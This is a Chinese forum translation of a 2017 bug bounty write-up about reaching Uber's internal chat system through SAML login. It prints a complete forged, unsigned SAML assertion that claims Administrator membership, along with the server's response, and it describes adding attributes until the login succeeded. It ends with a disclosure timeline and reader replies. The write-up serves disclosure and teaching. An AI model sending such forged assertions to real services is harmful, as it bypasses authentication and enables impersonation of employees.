首页
社区
课程
招聘
[翻译]越权访问Uber内部聊天系统
2017-10-15 19:36 18713

[翻译]越权访问Uber内部聊天系统

2017-10-15 19:36
18713

Uber是一家提供乘车共享服务的美国科技公司,其服务遍布全球(这个貌似大家都知道)。


这篇文章是关于一个很简单、但是现在看来又非常严重的漏洞,通过这个漏洞我可以利用SAML访问Uber公司内部的聊天系统。

在搜索Uber漏洞奖励项目中提供的资产列表时,我发现了这个内部子域名:https://uchat.uberinternal.com.(我是在https://crt.sh这个网站上使用%.uberinternal.com的通配符发现的)。


访问这个子域名,提示使用OneLogin SSO进行登录:



因为之前我已经测过一些Uber的项目了,所以我猜测这里的SSO应该是Uber员工使用的SSO,而且使用了SAML。点击登录按钮跳转到下面的网址,这也证实了我的猜测:

https://uchat.uberinternal.com/login/sso/saml

我想到攻击这个系统的唯一方法就是创建一个简单的SAML 声明(assertion)然后使用POST请求发送给上面的网址。在开始post之前,如果你要是不熟悉SAML SSO,建议你访问www.economyofmechanism.com来了解下SAML SSO流的基本知识。

然后我发送了一个简单的XML,不带任何签名,这样可以检查一下他们的SAML 是否真的进行了签名校验。我发送下面的XML作为post请求的一部分:

<samlp:Response xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="R0bdb6f33ef84425aa2782eab4483792762f297df" Version="2.0" IssueInstant="2016-05-04T01:37:34Z" Destination="" InResponseTo="ONELOGIN_bd24d63eafe235201b1bc636823c84381dbe575c">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema"; xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"; Version="2.0" ID="pfxb75932c2-2e44-d18d-224b-354849a292af" IssueInstant="2016-05-04T01:37:34Z">
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
michael@test
</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2016-05-04T01:40:34Z" Recipient="" InResponseTo="ONELOGIN_bd24d63eafe235201b1bc636823c84381dbe575c"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2016-05-04T01:34:34Z" NotOnOrAfter="2016-05-04T01:40:34Z">
<saml:AudienceRestriction>
<saml:Audience>
php-saml
</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2016-05-04T01:37:33Z" SessionNotOnOrAfter="2016-05-05T01:37:34Z" SessionIndex="_b340ffa0-f3c6-0133-3483-02a5406d9a2f">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
</saml:Attribute> <saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="Email">
<saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"; xsi:type="xs:string">
noreply@uber.com
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="memberOf">
<saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"; xsi:type="xs:string">
Administrator
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
发送这个SAML给上面的网址后,服务器响应比较意外——服务器并没有返回消息说我们的SAML 声明(Asertion)非法,因为这个请求没有包含任何签名,而签名是用来验证SAML发行人(SAML issuer)的,服务器实际的响应如下:
HTTP/1.1 302 Found
Date: Sat, 22 Apr 2017 08:33:35 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 0
Connection: keep-alive
Server: nginx/1.11.5
Set-Cookie: srv_id=; expires=Sun, 23-Apr-17 08:33:35 GMT; domain=uberinternal.com; path=/
Content-Security-Policy: frame-ancestors ‘self’
Location: /error?title=uchat+%28staging%29+needs+your+help%3A&message=SAML+login+was+unsuccessful+because+one+of+the+attributes+is+incorrect.
+Please+contact+your+System+Administrator.&details=Username+attribute+is+missing&link=%2F&linkmessage=Go+back+to+uChat
X-Cluster-Id: X-Frame-Options:
SAMEORIGIN X-Request-Id: uhg97nm9k3g19reb34gm8t6wjr
X-Version-Id: 3.7.0.90.8fa8ba5e2ac11ee1f038953dfce9edd0.true

我了解到我的声明中没有username属性,所以我添加了它重新发送请求,经过更多的错误后(也没有名字和姓氏属性),我成功的登录到了这个系统上(我并没有使用任何Uber员工账户):

现在我可以访问到Uber员工不同的聊天组,可以随便刷消息并能以任意Uber员工的名义登录到任何频道,这样就有效的绕过了他们的认证机制。

我立即把这个问题提交给Uber安全团队,他们迅也速地做了修复,对SAML签名做了验证。


漏洞处理时间线:

2017年4月22日——通过Hackerone提交初始报告

2017年4月25日——提交更多信息

2017年4月25日——发送了视频

2017年4月29日——漏洞报告通过并且给了500$奖励

2017年5月1日——问题解决

2017年5月1日——奖励了另外8000$


原文链接:https://mishresec.wordpress.com/2017/10/13/uber-bug-bounty-gaining-access-to-an-internal-chat-system/

本文由看雪翻译小组 LImp 编译


[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (5)
雪    币: 8680
活跃值: (2778)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zhangnew 2018-1-30 18:18
2
0
厉害了
雪    币: 224
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
星· 2019-9-15 23:23
3
0
羡慕大神
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
Rossssss 2020-2-4 18:12
4
0
mark
雪    币: 5912
活跃值: (4532)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
淡然他徒弟 1 2020-4-22 08:56
5
0
mark
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
小兵三十三号 2020-4-29 16:09
6
0
mark
游客
登录 | 注册 方可回帖
返回